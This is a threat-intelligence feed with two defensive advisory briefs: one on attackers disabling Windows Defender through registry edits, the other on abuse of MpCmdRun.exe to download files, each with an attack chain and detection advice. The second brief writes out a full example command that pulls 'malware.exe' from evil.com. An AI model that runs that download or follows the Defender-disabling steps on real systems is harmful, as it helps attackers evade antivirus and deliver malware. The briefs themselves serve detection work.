Windows Defender Antivirus - CraftedSignal Threat Feedhttps://feed.craftedsignal.io/products/windows-defender-antivirus/Trending threats, MITRE ATT&CK coverage, and detection metadata. Fed continuously.Hugoenhello@craftedsignal.iohello@craftedsignal.ioSat, 27 Jan 2024 12:00:00 +0000https://feed.craftedsignal.io/favicon-32x32.pngCraftedSignal Threat Feedhttps://feed.craftedsignal.io/3232https://feed.craftedsignal.io/favicon.svgPotential Disabling of Windows Defender Antivirus via Registry Modificationhttps://feed.craftedsignal.io/briefs/2024-01-27-disable-defender-registry/Sat, 27 Jan 2024 12:00:00 +0000hello@craftedsignal.iohttps://feed.craftedsignal.io/briefs/2024-01-27-disable-defender-registry/An attacker might attempt to disable Windows Defender Antivirus by modifying specific registry keys, potentially leading to a system vulnerable to malware and other threats.This brief addresses the potential disabling of Windows Defender Antivirus through modification of specific registry keys. While the provided source material is simply a link to a Splunk detection rule and a GitHub repository, it is important to consider that attackers often attempt to disable or tamper with endpoint detection and response (EDR) solutions to evade detection. This technique involves manipulating registry settings that control the behavior of Windows Defender, potentially rendering the system unprotected against malware. Since the source is a detection rule focused on registry changes related to disabling Defender, we can infer that this behavior has been observed and is considered a security risk. Disabling Defender via registry modifications can be done manually or via automated scripts and tools, allowing attackers to operate undetected.

Attack Chain

  1. Initial Access: The attacker gains initial access to the system through various means (e.g., phishing, exploiting a vulnerability, or compromised credentials).
  2. Privilege Escalation (if needed): The attacker may need to escalate privileges to modify the registry keys. Tools like PowerShell or cmd.exe with administrative rights are used.
  3. Identify Target Registry Keys: The attacker identifies the specific registry keys that control Windows Defender's real-time protection and other security features. These keys are typically located under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender.
  4. Modify Registry Keys: The attacker uses tools like reg.exe or PowerShell to modify the identified registry keys. They might set values to disable real-time monitoring, cloud-delivered protection, or other security features.
  5. Verify Changes: The attacker verifies that the registry modifications have taken effect and that Windows Defender's real-time protection is disabled.
  6. Deploy Malware: With Defender disabled, the attacker deploys malware or performs other malicious activities without being detected by the antivirus.
  7. Lateral Movement & Data Exfiltration/Encryption: The attacker moves laterally within the network, exfiltrates sensitive data, or deploys ransomware to encrypt systems.
  8. Impact: The attacker achieves their objective, which may include data theft, financial gain, or disruption of services.

Impact

Successful disabling of Windows Defender Antivirus can have significant consequences. It renders the affected system vulnerable to malware infections, data breaches, and other security incidents. This can lead to financial losses, reputational damage, and legal liabilities. Organizations in all sectors are at risk, but those handling sensitive data or critical infrastructure are particularly vulnerable. A successful attack can result in widespread system compromise and significant disruption of business operations.

Recommendation

  • Deploy the Sigma rule provided below to your SIEM to detect suspicious registry modifications related to disabling Windows Defender (see rules).
  • Enable Sysmon registry event logging to capture the necessary events for the Sigma rule to function correctly (see rules).
  • Monitor process creation events for unusual processes (e.g., cmd.exe, powershell.exe) modifying registry keys related to Windows Defender (see rules).
  • Regularly review and audit registry settings related to Windows Defender to ensure they have not been tampered with.
]]>highadvisorywindowsdefenderregistryantivirusdisablemalwareMpCmdRun Used for Remote File Downloadhttps://feed.craftedsignal.io/briefs/2024-01-03-mpcmdrun-file-download/Wed, 03 Jan 2024 14:30:00 +0000hello@craftedsignal.iohttps://feed.craftedsignal.io/briefs/2024-01-03-mpcmdrun-file-download/Attackers are abusing the Windows Defender command-line utility, MpCmdRun.exe, to download malicious files from remote URLs, enabling them to introduce malware or offensive tooling into compromised environments.Attackers are increasingly leveraging legitimate, signed utilities for malicious purposes, a tactic known as "living off the land." In this instance, adversaries are abusing the Windows Defender command-line utility, MpCmdRun.exe, to download files from remote URLs. This tool, normally used for managing Windows Defender Antivirus, can be misused with the -DownloadFile, -url, and -path parameters to retrieve and save arbitrary files. This technique allows attackers to bypass traditional download protections and introduce malware or offensive tooling into a compromised system. This activity has been observed since at least September 2020. Defenders need to be aware of the abuse potential of built-in tools like MpCmdRun.exe to identify and prevent such attacks.

Attack Chain

  1. The attacker gains initial access to a Windows system (e.g., via phishing or exploiting a vulnerability).
  2. The attacker uses MpCmdRun.exe to download a malicious payload from a remote server using the -DownloadFile, -url, and -path arguments. For example: MpCmdRun.exe -DownloadFile -url http://evil.com/malware.exe -path C:\Temp\malware.exe.
  3. MpCmdRun.exe connects to the remote server hosting the malicious file via HTTP or HTTPS.
  4. The remote server responds with the malicious payload, which is downloaded and saved to the specified path.
  5. The attacker executes the downloaded payload (e.g., malware, offensive tooling) using another command execution technique, such as PowerShell or cmd.exe.
  6. The executed payload establishes persistence, such as creating a scheduled task or modifying registry run keys.
  7. The attacker performs lateral movement within the network, leveraging the compromised host.
  8. The attacker achieves their objective, such as data exfiltration or ransomware deployment.

Impact

Successful exploitation enables attackers to introduce malware or offensive tools into the target environment, bypassing traditional security measures due to the use of a signed Microsoft binary. This can lead to data theft, system compromise, or ransomware deployment. While specific victim numbers and sectors are not available, the widespread use of Windows Defender makes this a potentially broad threat.

Recommendation

  • Deploy the Sigma rule provided to detect MpCmdRun.exe being used to download remote files, and tune for your environment.
  • Enable Sysmon process creation logging to capture command-line arguments of processes, which is required for the provided Sigma rule.
  • Investigate any instances of MpCmdRun.exe executing with the -DownloadFile, -url, and -path arguments in your environment (reference the Sigma rule).
  • Monitor network connections initiated by MpCmdRun.exe to identify potentially malicious downloads (reference network connection logs).
]]>mediumadvisoryliving-off-the-landfile-downloadwindows